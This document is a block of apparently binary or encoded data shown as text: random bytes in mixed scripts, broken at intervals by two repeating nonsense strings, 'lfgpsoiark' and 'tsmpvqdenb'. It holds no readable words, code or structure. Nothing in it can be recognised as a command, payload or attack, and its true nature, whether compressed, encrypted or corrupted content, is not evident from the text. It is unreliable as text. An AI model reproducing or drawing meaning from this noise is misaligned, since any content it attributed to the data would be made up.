ŎZA"wKh.)Ff]s}ܬHZ)\`9=^ޞ8N~nk?B{ڪd9[lyLnH?1;2a:8yECT'dspCH+R0}eɡ{˥1w&p0=E	:hlRȮ~A߶e9]U@I(}¨lčI q%,HM]gUd֏YMUֹ-;5
~%ҤppBHv(lfgpsoiarknT卽"v7!iE寙VF-PKD.n0tsmpvqdenb=X8Ltjhߌ:e=%W)`/UٚO$YO=BNfp+}`!?i!lfgpsoiarkY%%x1E7_m=
8[&kC
5IΫtsmpvqdenb4tsmpvqdenb,e$G+ʇb[*tźSnlfgpsoiarkz5?WSM}AX`Zmt(h"Rz3YshևIGEd'-`ilfgpsoiark]yY Gzdo	,R׊g(Uq058!M@X
-yb\-loފx8%u	2!v'Qlfgpsoiark]#^]Z+؎-٠v-qhIiYu
tsmpvqdenb!yN\j&c|vqW҇Mq@:@wkF[&Ry$S=3aQ
Vv-[%$|SN=FJC|7+7L}}	EDnFauōH	)+[]Ԯ`nfGY [դ;{Z~!]*v:gN$N-;Cܽ0sJs{r"tXk` g&B5eh	'ۉFX˛4Ey2qw,Lftsmpvqdenb̅Q!$iYuPJo0Hh
4VݐV
,Bo"lث"CE%"YZ5PO1BAvfX2.)ȕ'?.	d@hY
6y6
E*xںtsmpvqdenbF\qkT%eS%WT\82tsmpvqdenb1D&$45 #;'g=8^_'aպ(tsmpvqdenb+м7}5TlFMT-~7|*^4gRz\_Ե~aTAT\IKpWG;o#/4}~d'3|utsmpvqdenbyؐNU SkI+k+d03oSXRYG
h*RꎩЖ9uDpl{8Zv-P GǔUtsmpvqdenb0Edk:LLdh$aM:.;	hB0XlfgpsoiarkUs'/J}40̈́ϔ(sad
$/
;/&_O%M5
]7 r
ytsmpvqdenbxaB7J1Dԕf	QKSct(y=yYV#uMS]r$!
v8ϸ,mpWPFlfL3t;$a0nx)9Qhahi4suo&Qy) V"C#ri`+͋תe09F5)n&.)Zo:w5tsmpvqdenbp!WCktsmpvqdenb
/$90}q~QLGFÀO@Dn$ݙY'݇V9~i!(fB5Gݥ.M2,uf(pyC:b|?e6e+jȅzi^S4lVڌOTҩ$Ż
76N0Hlpv!S6ʻ+"q]Kͼ-\k'-v0H4_qo0FRuIXqZb`-Us\4vYO6;QR޲irk~2?Q 97SrNq4'SX2DϯA{Hwſf7V3ro!yy$G6ߜr"u&AQcD$p3C]"W_F˙׉L鎮i{Y/Pi;+zi`-X-	jD%6;?ꇚ"-9tގwItsmpvqdenbOȶ|lulgPd1v;xCs}:IIlfgpsoiarkd|7L`YMʰ5dgN`xs_٣g,/"da5Мj.HGϐֹLt齞{vkϠ&3|}#JRq1thK$Bdi`	 H&D)-5)t7.o;L^nP
tsmpvqdenbKIψG@+ [܇'#x9{.2%֓.-B"
mtsmpvqdenb'_#4YŅ{v/lZk&Wd
b}ݞEjf'$IwV^.gFn~r}G/UN-o'iLG,t.6|8oQ4ԕʱm4Id`mhW9^|~d	rTFl21eH򔤕%2|R_sp̅2(~a~aI
#OՄ$+muOuH,PDH`Qrb2۽fMiuT) qe4vlR
_N9XQ8b;,Mnitsmpvqdenb 8{K[It4~`ohjܣ:R\R%
L6i65;%$sPUp('~`uP^.w,+ftsmpvqdenb+N҉O֯3c 7:;vT ͷ0,_řC,m~9iˁ߯FcD%GtiwJ)AO':,];UOQyel52Y)C {__Sbpk)u}yu꣣Do,Q!}3I3K^xI{8lfgpsoiarkvzm-wCJ;?-s{!u
#_nLtsmpvqdenbLqcmayԽ-xFlL_Z,lfgpsoiark h5OP:T༫8ulfgpsoiarkJɚo{)}%Wvz wg3vcJ܍[':e7L-G\9p:FFE.;𡴌hV6:v@|w8 rp滞fFtsmpvqdenbmV=11cUgF5`lfgpsoiark^c)A."%LEWiY V߄@l
pmď2,3JfܣlfgpsoiarkHfo6y=5RlfgpsoiarkŢ{DO'"gK/?[?M+es?fM/̳ -([{MoO?[(l K;)m-լb$x9h_oZEvbFw}5JrE@9n
	Q"tsmpvqdenbkI eN鷵W/r%1`FS.!G2D+9z6o=+B9":·U{Cs,w;w
Kρ(J_IFTJ3T7f1۫LhPk5~,ktsmpvqdenbQph$8]4G(2o:̉fcH.ǰ؀
45,ZhTQ=OROA}dzA3:8(tsmpvqdenb
^ȿઉ^/9NwZ^Ĉ. Z}BE%.r4[0A^֮WYIW42^[	dY}u_rQ_kqWپ=,,^lfgpsoiarkwdNH`:Fْ1ڼ9:UCYaI&mHՂ _	v^tsmpvqdenbQKc\wF&%9jQډ2y_*Z}q6!|
ٸo
*:,] ,RrvQerMd4Noq`V;4' UÝQ7KXAƟCb`~O@ൠR QP^{-sR`|΅.;d8V];B,uG^wօy:fo۲k.tsmpvqdenbi@	9@h{җr2yl&
suIѩ#tsmpvqdenb+?ډq@|V;Vvf!!kۧ_ġ~QX*9QkHM4!*Gmu˾MUtsmpvqdenb0:5jlfgpsoiark#R69CwSjV\Lh8fɡ]AUo,_?ahlfgpsoiarkn4f$v̔:i*DcAQTjnϽv*|d/Z4eI|
?Hr|3(GBou㔆 Ftt/юϭ乿n, ~*ɄO tsmpvqdenbZ
撲TVx7Hf=ʕ:q[ơSKP_ڋDj
]LAu~:1ouG{HgRjlfgpsoiark
@[mY'K\	Ţہ71qFZ_9mw
sBb|@,x8ZqD&]Ćq9Af}MP0X5fز2F,za-~ܐzfx)[NP^rp8%9ra*"*lNڍS'w6W/_na|$$Pevl~
b2$Xܕ6
7R3W*q徆zrFƠrٽcvE|Tl7da%u+~߶4j^A3Ϭ+`L^K?P2}XB[D%Ų߆H,ɝĿ~Ny?U؛zCW[.!uöxyjWI`* ::O?OB	-mhlfgpsoiarklʖ֠~)srL_a;tsmpvqdenb^LWGB\cY}xK[LK_*ZxQbazSk5WFh4&z1
)\(r!fLk?["_JJK&KE=8NT6%:\ڑ,!Xpյwlfgpsoiark!QjCז ;L^LeV~BC|]M-OU[n
ՠ6bmiZ.7_ #f``HG܃$%hAaHDE3㷮G7l4l}&{l7[y&~"C3٬5ulC1gh2EHbbм g'H2#|P96L^@2Q)`J-qyk.?"]1/]oElfgpsoiarkqJ&4Ere;1uXrT:l_X ڀ;7h7hĄxXxǟE~us
r-NmtyH0ň$mpLQp~!
[r.p^'k }иHBlq=:lǩ5C4(x@,JgR[ID-20cw]lwnvRZp[++lfgpsoiarkMDk0X5it;ݐ!l6, _F #;~{_文@ܔ͉j6&(h*$?hcQG`U59k56O?0Nw[s59sZ}k!ʀXŲATu~z6Z'/Ew-)~*tsmpvqdenb3NS$Nk{WsNEl	[@]lfgpsoiarkچCq"/?[lfgpsoiark&(Ʒō/;g.Bޖ~/(]'ُ(̋wR0V8TFkH/])\wa$kmqѐh*81	E2O38Joü#]#2;Xz):|\@k?Ԟ燧*3׺ޞܱ!̪T"rSXlfgpsoiarkL45_XOH[|^Jdt7%'lfgpsoiarkeH&6n,o-yVXӺtsmpvqdenbŹX
U]:.8QW~џ7OQ"^^w(2GHOȲXkwkP6P"*Hn+ɟ'tsmpvqdenbT8HN9ٮKMĳ 3D
6W-+"f(T_Se]_ht"f_o藉J\-iƯ*:|"jsj;(X0.A
(
N.;Pa\x[KKfv}\N$PҨܑKc:f@ܨaPu~!ӑ-t?8tsmpvqdenb U~AV1u0?& p%ױ{tsmpvqdenb]XQg:lEe_lfgpsoiarkV=+;ؗeFtsmpvqdenbѱ\$$3̒3	tsmpvqdenbֈ3iRMC_!%q0*6xG,w{5e`@]3 ]Q]Z :㼺FTBe-ry-Ǫ:vZ
Iڃl\R4gV3(uA4 PdvEy{LO?{̓=stsmpvqdenbGQ1۽;3n`ĝ!4ݛ^W6lfgpsoiark6+:A.~-1$RlϢ	?+%rZ8mlfgpsoiark;-vmO1XĲAJctiC
5-4gtֆ@);VCBHlfgpsoiarkI9-(|?Ѽf2Q#1G?}X揶rP:jɳ֨ޕ0HM5q(Gn~8L]2 RԮKr;CJKӡ7jtsmpvqdenbL3ݴvM!ÃomB4fw/h٤/|bS_RӮMD	P͏c"@@T]S^aI	Ikto:JsdS)jD=jVlR (t_v|(G
,oM/ۂFDT1&1NiUWh۰UnbkUA=xW\CR'U,tP#ΨwboeI.P2"	11ff8ficZrxBϨh#(S:]OgmJEO#tsmpvqdenblfgpsoiarkCE6PFĮ	k3%a`GkI|_ttsmpvqdenb5]ṷ֨R_qux^;
Se)E$7{s줫위?")jT묳8D2C8Ϥh ȪzMpaN"K^bQ1.0yB廢gVH?IW"bޣuv.ilfgpsoiark2Le@UYFҀməDGr͏4I{7Dx_,
D}@C[)?0K @lfgpsoiarkm
)cA	jMp:@nΆpF+N6`ہ0[H*{:K9n\T#9 uFv+!g	b}ƝJ/J&
z`T#oF-.)8U SЀ?Ai_j:sV'պo)YӍ_$2ShhF zUԖFT4CEf瑵Ii?Wu	e{}tsmpvqdenbtsmpvqdenb_txl`MYtW"ђp2|(?stn2/xH\++0竻΂pHtVʪ|W"CYPh1"_ Vʗ.a*ֺ{2Y~n{w~-H [Qtsmpvqdenbg	.zZ	25qL-ŕŠ%U"ŃͲX0CVJBc
DJXNN;o?R'xC[c2kxPg'O+U bǾg[-uk残gY4T߮[lu3/pC)0D_,NNi6Jp
q]43/Zn(WrYgsxAKY/}PM"q,@Yx
@$Vt",
57t jA׫7XI`^VÛg@po7İTi"ʤU7nK Y"~C	i\))h(Ť%3.9֜pi+]{_ԤVO	%dw\kc㡢0(6ɲ[zspC4^563a"϶tsmpvqdenbanq\7-¾ @JK'3ө0NH4`;IRF)mH/k/l2/P
I+Z~~$(p&I.H|9nN熪+IjRk𥨥_()CԯuH$xwT7Ca@YN }zK;QT+k+IDph3'54Zz'uUtsmpvqdenbVjNpU{@qWPt[xHdZ+	h&݀HoB7Zu{:A%Fk
l*h~J
A6V'pi02}
nh8N.N5zc,18xX t }n	

m8`fF)"MIڒƂڹ!uOw
'ns#gG"Kb|4cd֢YJ"D؆: 8*6`+=/fKl,dlfgpsoiark /6z,gib|pG$%&60x],ASrBH/tsmpvqdenb#9yUzVcg:`4	P|Sp(lfgpsoiark'
1/.OzKohU=,Jަ-ɍ$A㷦lfgpsoiarkK@!
s=M(oa	%AyS;4(QS BMa;vcPYdI{y#gM;(/PGAH3ģɷfWʀ*x(BM%OyAtsmpvqdenb@s%cPg5?t~~*ĭ,`R*E+Lxf$r,j:GF*1k{9WDjseoQݪ7
v|
NLTtLQ$Z(msJ cы8,%Pv&tsmpvqdenb=:RsXQji:Fr3,Ai]F|nLkF1I"lZ򑆊SMbyrIe#h4.tsmpvqdenbwlfgpsoiarkzAg0Fb-G'\-K{4rGbsd?'a`eXT~Tܦ܀zskvMq{n5]|c&4/lYeek&\EPk샕TRg&*j99 `[H@±~CJx'|^;olfgpsoiarkȻ7ЊaCzm`TU'6y'`7ZϥT;d~۹Z`MEy2W=Oe`	H|8 plfgpsoiarkn`|}&f	M,-̔3BT)1jߋH]4beb^;a`*"i\{)JSStsmpvqdenbZtA~$zNi[̸܌ͨ»7'ʖm|TVψ\(riZR@t	92|QItyPMO)#;SK{eX|n1|ݒ8Ѿx);v_/#)ftsmpvqdenb/[^Fr2XYipE$A\Bϰȩkdn0^5@o*-ʗo	G8({!_MUf*x[lfgpsoiark:I'MN :I"À
%0Z%͙NJGrttsmpvqdenb݂RJF]ט{Яt^ wh7:jRy|%4
;˼P?Y,84(Է6-{hXlfgpsoiarkryr7gp߼΁ҷez{B6m(uaf` eĵkUW'p&];'΂._7k-ub5Rq
  T#pZ-8^4-O"Mtsmpvqdenb1GvuoWu=$I-oN(!q֤Dlfgpsoiark=&yq36耰fpr8x+ŬB\y,P}petsmpvqdenblfgpsoiarkF$B|Tp}a{'M)ʓ!QBk	/ͯ2;G+Mx94Ȑu5oJ/$L\nCRͱe0'z 
z
PW-HƛQ!Sg	͐3i_ř_2v[rFS'KXʫ`wRu4tsmpvqdenb)ztsG;FC0x]y+IE {%C쎤Z+rYms;b	.I.'`G5G!sczfS( 83\9{po_*PudVK޾Bz`\K,=o\
ePRv*Nh1	=n=:wW0	,ǴKO.,TLGƎPD[xt[,;@:M&W S-+}Vi^E@x	_{;uyL;&]X'	~'|wU3ς!#1NPocҕ:+
[T(_23?
aAlfgpsoiarkdP;T~=[T۝
?$ h@ 1a2E"UAFlfgpsoiarkzSy:eU'ADYY 0k;Cεf
͐4pWBQj`(	%ǪcGZ^N7ua p3ȎxRrgy6¢}kl
7U
LR1Uf5.VG}QOajp	n3(?|r7 CCY5clxOS`,?rlfgpsoiarkCګ5ާ_xf QѴā6lEB"I#w\)MUUgZzϜBZ׸UbyRlfgpsoiark`9[Mu%JB(9Ha/R7@CșoNҒS$|y
ܤAfvՇX?r޴]Q:LkQJdD؏tL\r=mŲI'm\`DPH]p}?[Ńh(6-϶ ,᫯g-ΙBFWrߏ'2tuw, $u֊s-B5Fٴ܆TPl)F c8
ey'Jt	]fVfb-2HGɵKxW
ڪO}@eE%lfgpsoiark&B?M$
I-	y=xB8c=אpQA+cW0{@ f?ßrUV*!|r:{S7(Sڪrd^	k&$!r(93"03ecIz=]1$t/`4цcb
6X;T])yVll&묡`4}@\wK)
?)|,2$yp!Iy(8[]u}*?ݮՋ/qlfgpsoiarkJBYC2{gsHٞ}HCrl
}w!i9z#Tr9蠴[p
`Kge^EtXd;n1֜ͿxHi5,w`?neX c1!͌ޝ`U|ڜ0gxά53FsisTlثO}=)*cZ9 3*ҋuHܔ4S-&tsmpvqdenbM?Ws2Pg@UgS;=lNtsmpvqdenbvt9,|;j+YW9M	R`I D	|9ˏxż}6~NL~JZ1;mhurPʽg&AB(WBc,`R2UColfgpsoiark c$$-Tk/|B
.!\ɯiA1/=gU.{&G{p94ZA`
ZU6?tsmpvqdenb[+E5%wq˟ߧ?m#z|W!q'C*3F݋2/)-v=Jlfgpsoiark|lfgpsoiarkӌgԺ
]fC~Jy`{ψS utgdd3X#Nbu })
eX-ɂwwqҔ|zpVЬ9lS\JC hMcd~feó24c(~GyI;u-f6yp62`M]=a*goirՆ/~tsmpvqdenb󡑡~h)fU-b#L8G"IO| "I-6f{oJ)q#x 8Ϥ4qDE7,w`Ix`C-F\&s:_9~ZP.i]%4hMHyen0,Qs?s@I"(&@uba]q|LThz.눈ϛ1!N0lfgpsoiarkK?Hpqtsmpvqdenbx)!H	WK8~_;ca튪S7EH
*8dd1̱N[}_zJgwlfgpsoiarkeQK[IxsBކFrTMluI:nݎr"c܁ؠUA	QvҟI^Ӆ:d=},w]P2EE;oJjpBגZSj~p?"!¤	,H]]?!t,eg0ڗt=RF8}%]*E@7hIl&xlfgpsoiark?4Δ3C/9b|{x@*'g+pZeND@oۖ]/យc*FB-eyKF?goNaEW_;s`t0@J
HWlfgpsoiark. tsmpvqdenb89r}IZ3kөSep~~_^M*T.&iA2_NS3ϊ`ɞ޶*76Bj4p:E/^hdآ,/vzpUzH~#-g7#9Wx#/}#WnGf0onQ7xg|ZhtXTC
H}
;zS]uw~\%⁚.7\xlfgpsoiarkȓ,lfgpsoiark`XԎ,/":6.S*8M_2tu:2bJ|mobc8sqPnMeP)"@L,WT	Kި~
2뮒Aue
Oͼd- 8PcPrbI7@z/l4=#Flq)JtV~͞ WtsmpvqdenbAޅX"HY.(4V *&YV|t~2 b
Дj@JP7b) fTRȼtsmpvqdenbj%m8Yɢ?\gKLΥbCZ 'C6װ+P-Z0(jYLlo8-sB.[O}aufu ǜ}-Km+YfJ4EI5SGLWM/gf-EMdBH~]a
Cj]dt,Am5S)	Ztsmpvqdenb8(k{)5dL\cb&F̖Qn}"`[cZ%F!ELyxOw^)JX䙯ASeО="q~],!;;_AG%@6KQ7a(ʼtf9qVEm+zi`aCsk\v~MO5
ynGC2)3(Ȗ@V\/'[a'Eߑ
!,
)!#vuZlfgpsoiarkq.ۉujr;M"0*69?l!re՘]v?ݔgod8Ar(2ƒlfgpsoiark`e,TĔ:EwdFTww}#v& L:J?7}v?'Gk6WKѫ2rSC磌1t7DD0P7{HYO_z'A^ى~lfgpsoiarka7\7R~u=߃	eh_Hptsmpvqdenb9~$yOjdyǡrtsmpvqdenb?3GJ?Ω-:C`.|K٬6a]qooADxGǓ(=`~p?%GN|e|rT8)bcl39+9nK:}%]Lx sͶ1Y4q넪S[r'
|cZnu
p3]sJ2 
1@B[˚_S]7Àw~vǱ1f̀J"{-%
p.
GfեX9Q$]hRa|$u,n߾REtTy(9^xp0X+RrVuYq4}#wQMwsvClfgpsoiark5nFM_2(]wmM
+PQp|ySBdSy1vۯ䰑o_F+1Am7SsFp/Z4E	.s
]NPo,(x
vlfgpsoiarkiBq
e&,~~ތS0qa*N{L15vյt[λqۉ_۷Bo1nQjl	.:Rh4R.ۡ460
 lP @Vr^$Yx==5 QBFTu
'")={8)b	lfgpsoiarkx_	Lz:؎fkl6(zMWEKb3O\׏WVf
DvU^llC6ptF`7n~%_6m:ᰄ}LJEealfgpsoiarkePlfgpsoiark_)I2VR(i"{r+yx=lfgpsoiarkʞC@asIAUNugb7hH(tsmpvqdenbSpnYEUet2)XhS3ٓ2#
[v8Qϫ!|!I37hFy|_aF 1Whlup)w4䬏n[6j\%_/k[)sRLW]M汴_[U/UNf10/92
DATr!blfgpsoiarkmOsΦQM5c~r,&]ߘs_
ޕDtsmpvqdenbIDFXNƎs*6]$TcBbS!9xJs;˲R2MZ&QL!14!E"ndT{ǭ9'=MN1.fgav2.T"pǷ'S=4v$5_¬Ncr
l+Jzza/~D!4Ꮀ$?#lfgpsoiarkɣ֯$YzM	ٮ&-lfgpsoiarkqջi@ވ9Κ`q@
`{^9n$8lfgpsoiarkX"+HF4V]#lO7{L3P$Ezy&C-;-%{)l|+[!͘wc$K9Slfgpsoiark+zA*(6r
!iu߽5n}!g2]]/p^~ufz@m|p۩gτj?27',XRGNxu L^k|?[=ҍI
o%l#E eW̔%?jrlfgpsoiark7G}KZ4uQo;Eg02]φV	}BxXr`X_(t0~AQJ6kAkERTx;0Y#iKCב'yji)&HH}?%E+z3$γj"/6	pp1w4
&J}	҄j9d{)aS%^h-]8/)*2M4lfgpsoiark8
|l,/i'O]})7?J"\~[ϼUq\ѳ:/Xԡw+(=YVyT3쏸! UTsZ[tsmpvqdenbt1 m5c!^qr,2|P֖R8MGYJ͸a4gnKm{~%6
] 
Nү;tq%Vx*:#2a	T
J
ؒˀW)~~=u8G?t2JʭH(^جݐ7hFAv\ND-lNSG!x]AFEw5$9N8+Y7jܒ%_}ii[j ZVhR7_xc'T{RL	 &sGw`&:][[.;"eo$Hc_ά?`C4{l|d_l׳QHGLZwa3/OM܃dբ"VV:5.M
bߗt-Nyzw6z$xflfgpsoiarkDS]y.c74[$!*5֔Hɋ^%hHZ4Jgo8@ub:?6aYۅ`wοrꭁmy-Þ#D Q, Wg6-[d~Ҋ)mO?
2DWׇI/FlG1"k! _ y?;+ĜݺxG0p|Np@lG#ƥaT훈'lfgpsoiark%J6'1px%3~_
?k5*PsDy1i_Glfgpsoiark7ʴ	$wsNfKSpS
p6fCӶ,f{PQ҂281x{ŧ@obseg0Ͻ̜?c3УqtsmpvqdenbO&H.Vn鏳*
CH|=(;M%4=W0B֕b!{(v,m
Sh޿VA^%s\mmS(Wޗm_%)_r"I+a`IcĜ;uAMD(p5Wmѷ7@xibkKp9U	1m&0.zxoCϳPk GKNɏdkBolJ25eGg9-9^bZnlfgpsoiarkZxv|+~q$o׉ u/P/ꎰCJч}Ҥ$ّf.C,ϰ_Z퀃tsmpvqdenb{k)]lfgpsoiark.&Vp(+Ha~_ȡxа5ugv,ǲН[S͊Eü6OYi&5
Ҋ?
AE_
٬&vKHɺǅP8u-g\X1qUyQD*T)da{ڣ{
J z7I0Osg@ O #wCrڗއi4dk]hRΈM*^Ȟ^x{{mYkXdУ2T@2F+drlqPIjR6|p.-y`qB5,ab)aj%(6HȏǴ:4]hgVgsȖ"@nIv
 YMSz√(lfgpsoiark'G\Y}~h 綁k""	x-)n3^E^~_(
*x82"s@Untsmpvqdenbj	dp|tD/ķZ¡ޣK0GV'	JIBuYJNP߶d0:gʾĞ~vﰤ_`[p@iQKtܜHtsmpvqdenb
I*|}{/mo֦42v_"kQpuqAx4,fCwu~|$c1{yFlfgpsoiarksfrsO8JP'&z#|`z1%wBoTFSHq:y1GCFDl1Xlylfgpsoiark	3#$KQo~/#]_I;d- I
cAR RtoyMtsmpvqdenbKJs`67(Qgtc_n+6ꧽ	UlfgpsoiarkwlЬi8:w(bԮ=ȑ|Cژ(Ky/[eㆨ{7xL*l96MרcԀS*3X]dw!rT[;FϴZ*5y#	P@TDΙ,r֍ym-0{hn}V
o}8j+-%z*iKǔa
Ltsmpvqdenb-TC]bJ)P\7D:)8^oS6 PH	%|	JdCtsmpvqdenbzIR!!Mclv
DwfViqpaAM%3%fD[1z%_g\$by(@X7WK[|,cv?Xs#@n^OA2a 14 (nzKʜOY~1Pj!trISh`U_d3hULYOSt3r$C¡QDTr;T\n_es r?Q.L_Eş#zڻ
jp.u*-`
	T%(:!_:Ư(wb!
tnop/COxtsmpvqdenb3ФM"%1ˑCy75j!(	(oy: Qެ	R-ku 'Gtg_lfgpsoiarkkdusl	v϶0b)CGhۻ"E8SGCfv/۬LxE:£xŅ §}g+oTtBfrnG
%"fH١Bë9/.!4g-ʫ XLzu԰#nOF;Z%tNs0~!@Ҵx:FdZƃlfgpsoiarkKFndG&{Cf JV ߧ4R9
'MTaΫ!%t@}wј7Ke~Z_8{̅_FK7P,YS1B"B+_C_(0b}W`DƯ/[2ncdŃg@{PX!oU, JE8!iFxˌJJ8U_K`z!C:!iՄ/ik1gGCf|2kj-n

۴̳jir!LR-n֪X2;߃
G:U/;cf,_^oX#!ѷ@ܵV_-*%tsmpvqdenbW${z3~oa	X/Jyʈ&FZ1a;㴠p+a\)ҜuL6v5lfgpsoiarkr
/K\គfA]00zvhq605z+c7ZJJ1tiI֓2?ob6g5#8G-JP@FSgtsmpvqdenb#+\X3
 y9Kq-ʇͱ߳dׯzolfgpsoiarkiȺη_@=n/yly+:{C{Gܴk$w?PTB	F X~æ!M!-
Пvq|m!5 klmYVdL
ktW	RNDhqARHo?|kА뷫rQzJTRHr=Q9I9*rY\^j	oqڞ:]3تu$@4:S˝ESa"xL(Í|Ql6?XkYo
؋8tXK1tsmpvqdenbo7bi1\BeC?olfgpsoiarku
K[omJ@Egt310^	˭Դ!zEߐzF36m	;lfgpsoiarkU?_Et1z5m|2o!8Cw:_lfgpsoiarkgCY/A
tsmpvqdenb17^%?_@&#g1ʜ`a\	'Igt)"Vb6dbso-MWR 9y$߅BQ}`ق	GqVA
GMlfgpsoiarkl2vXWN .ݫ=\5qb^-d8![XӼ;m)v dm(!Llfgpsoiark(C'6͟b"a`XĘ(9F{$$M䗞UL"`nwH÷Uwڲ~wPR;1S,fS//mKW91w1g3b3-RtsmpvqdenbF"
wCSuh{PLt`lfgpsoiarkmAaٟCN| 3Q5uWfrL L{6`u'dPRf6H07agi̢Q
y3w `X*|nWp?7ըa"b@;7&="[E"eP94,?
mwݺ+1gJ 
\ɞK!gx	.v*S/*Lww2&oTCFw4F*x6Yc J
.ʐ1!!)1zdVlvyݸ$KEʠ!8MȄTN(\NGT̔UmKV]\ X?*[f
XeȄR2"g!MBХ_ΤͿ7 9:\
}GcςVح_g(%ɭ{bQ٦&Ol)
V1~0/.1X\)x/.x(zR^ILc6pĺ'"B߳T.z"H4{
W\&)w(E桬pT]P
PDT?Jd1dOȆ'Q^JTZRd_`zZ .Cx_mg(JzQ	rDe=m O+GfˇlfgpsoiarkYUi'ukaI\3J~)	n!BD`M54zjP\]KfI$N#nc-K&.@_tsmpvqdenbEZQD2vo	
J:%|Z_B?Qd'حS[E&~DR,p*F@l;+YE#V ctsmpvqdenb}3勪ӫqH,dxVsSU;jH0"FB\\Ҏ!J6'-=M1/B֐	fHVծVmb^YF)KTG )sSH'	9ۀlT_0URBj`_F!T#Qo7\j+1{A庺
~ܢ^0
=ѣ_`MAe]!)AQ3R䇿٭x"/o#H.~|{%uA^ˑ#
w
;d\yړpI^񟹥5I
0L(uR8Xz(u0PiWxiYIQG
c&NЩdVڗNrpE E$0|?OXa+қѓd8=g,1'iqKr6M-]٬|SB#pJ3@2\8u,5O/µ@:I5#{ P&F14mNJoc?v^+tsmpvqdenb9$;AV!̻aEC,HZfl?VJlfgpsoiarkxM|+s^i)ets"D6kܺ_8ulfgpsoiark/2"6JPn)@h
_gt4呭*pݿQA\0L@z	/ܽAiҵ'y9Yl
tA z99;~o^)&/5׽Pe'`Xg"D!vQD}tsmpvqdenb*F'4}HڞE}/el)r}D}j#;br~HG_}W3"3mzMlfgpsoiarktsmpvqdenb&)I).\W[=ŝ/Ѡ
Be~UllfgpsoiarkNsm4\BUu65|#yÌm	o^=g8]%7-aOD@
h~VKO._tsmpvqdenb}%ZDz\n#OOt6#[IXD'{g
#vbZh
|$m{C=׫;W̍7F{b|N=p4YQGұB[M!k(DԔ'\KAy𜯠')LFB_y^SZZ9 Hؽ
Y{9iDxBeOxөd@xtsmpvqdenbzFq~KU\ǭnk
J}.xTEZ4xQ.N|INy3g9$E&lfgpsoiark,b~:𢡊:26&?ٺ88CU7X9l`d0Wc&pF~xT^vW"Q3mA|&\V$yД=`pp;~g탯"c -\?q'	״֢lfgpsoiark7_ͻ(|gj).`$D`?6_cp՟:R5oUι.TDلbǍOxqrYKD09W?ʽtw(*lfgpsoiarkb83JV۸{GD)j-Dlfgpsoiark+aqU8
ة!7B?k;(iNb+[RntsmpvqdenbOB%flfgpsoiarkGmBaô. 7q?c7ma_԰VfsC	CLFixjOa}8
Ćb]:zxW3u`MmoRo4Tulfgpsoiark*N'tsmpvqdenb
`tsmpvqdenbRRFHx[AMYgSmHHpY.o#m6dlfgpsoiark4=]-=9ϯX^GB|)* zLnT
٢{4֔/Տh´CtLNd#qȳO'W՞6tDp@poAN:EF:Y mKUVuTRǘ7y3R1ljO̯@E@祙aaFu1[uf"IDUplfgpsoiark
OgZJxifGa*y7lb#'XÀcnoa@|WnS;
N;Pg9/zJ%W!}@Bо
5qi8[g)9@

+hWS:)7A?΁ekY{+hNlXЉҬ3_=_L#;e2lfgpsoiarkpDX+~7.CJ:K|9b0H5lfgpsoiark9{__ 1,[P}w+:ȳA$5ڗS27ʕ;N3$ȁGbZD\ Ju@A	2D(-R(ш_4[g8;]}柸ȶ{KoQAEc|vS f0鞜(xvn[\H
;x
Oq҃5=&8Gב'{iyJ
$q#h`EyWOdwTЧ?!4ư{yǤv%Wo#ݑ37|GvAd_ncUA/zç?z
4+lfgpsoiark1T'ףΔ[+xJKtsmpvqdenbߎ,,]· D"$ofB2%_=&RcL
L:@t
^31y\g54:7h|LW$PzcΩ)FP}঴*Pf/oial-"3lfgpsoiarkget~5*~o)Vm+yD9l~LATcQYۢ!Q7`x8e)A 3Lgf`~mJir߳WำZ~/qd͏8vC!%Ӹ54KGiΞ,j涽B)|ueƒ;h2(!LAԐk̘&)\eg ㊘e6-ՒMHYfACvX!^Ρ};d.1 x$`lsr;?&Kkn`lfgpsoiark%洣tsmpvqdenbR`wgznnP-B;X)q4-c7&3t{HPx3TڏI-U ^+:Q3ˁ=xH٬6K
|sz&AtSOmJ?TAHVc^XҔCFZ=ؼ'VByߪPj^JS&%GXz s!ʦ&\8կ'߲A
%SOb1j$
MKOY!Voo(VJ˝pokRŴ/6ao
9lx9p^*R^V|rc74kwgp5	R3gL
2*X]^;F]chw:Ch?Mwt|ڶp4lF45sCeeKcoĿ@)?^1/~{V|%
9S`tsmpvqdenbg{52DDAhjksF҅j(珴VoU!h}~lfgpsoiarkًtћ6P~Ǳ	HLOߍU1ޫv^J9kOUƥ)'ə5L&$0㔭t`CUlfgpsoiark`|mE_(RhboՋatsmpvqdenb?qw#9{'ґ]2MjtuJMAbK@LlC,Wo(Ű޸s^CIZO(|&|lfgpsoiarkVE)m$$猻W+~w~3)jlfgpsoiarkBU|
xuKmtsmpvqdenb?~YrxL՞k$\d[0S2TX 0Ojp^GS ؓXp g#E|{]x8Vsq$K$1?iſrI17	?'k$Ƞ\(ԐP6$	ez?MĶhzw
WhXЈjXpe$\fvPY	ʠrxz:	GEPc"ƫ,9NOe֭o}*~k|W7J0jlfgpsoiarks0_Ja3Nف*N_@I5jOtsmpvqdenbZ;P7z D
JHܲ6*_z\QثΗ
9ȘwLIt0kSNwpY{;H#od|K+7c4K.{xpƗ_yGeu0J437341@6~Ĉ		6@|'Jٖ*r+lmN[!AKVF󶿇Ctޫg]f2mZoWa:hVa,h,U5u"RrfzqPz,2C\ؗKD5*#Oz
o Vޗ.h (_L=Hc`MSK5*cPs]/&*r9Um.o:Fit߿j1쐜q]0jBT2[˛/LK/DgF`u}	
 {iõ![ql"L0-NVlz0Unv=Ĥ{˶˽]OnzqHWB	֔]$˳
h_е_RL%"YDv7pyJ w	))g}j7{`'ƪ.}I;uz?r}G	7q
`v iwH(M]$!^.
lfgpsoiarkD [YC9[=ֳq4c^vGU Tcv51qGWNn$6JruW7"OAp2}yf	KhA7p rc=MJޖ~oRtsmpvqdenba}?;ԥFJ:jBdtsmpvqdenb^҇3^[줼"y	gH	JN[a==G\!n~tsmpvqdenbӪL	12!B%-!"A\1'c+o 00K}Y
#TMVDfrvi[9se?{$ $$1کehQ MVͰ~paX%E8&i7lg^?}n7
J&:HVPlfgpsoiarkaa*_1tI.[L*E 9GZ
r?o+y;k	"3/,}4H~`K:¾AHxzR{JQ!E
&`z8ND3DsXA53Y'ɱ^N8+lfgpsoiark	Y} eY4QEfM_Ǒ,ڧ#GG e/;ɵTcxp%oe#p{bf^% {,C-ƺ.8G9T,)33`ܦ@_tsmpvqdenb	)WR	'RBڍsGm6s3Kw^c(
cg+'jbGK2#z/+ߔ](0gF%Sѧ3$3ض]I?KFT=mWKfxLLp5=窜.x5dp˓
C ]d30;/ 	GSsYUH@c}Ըxl
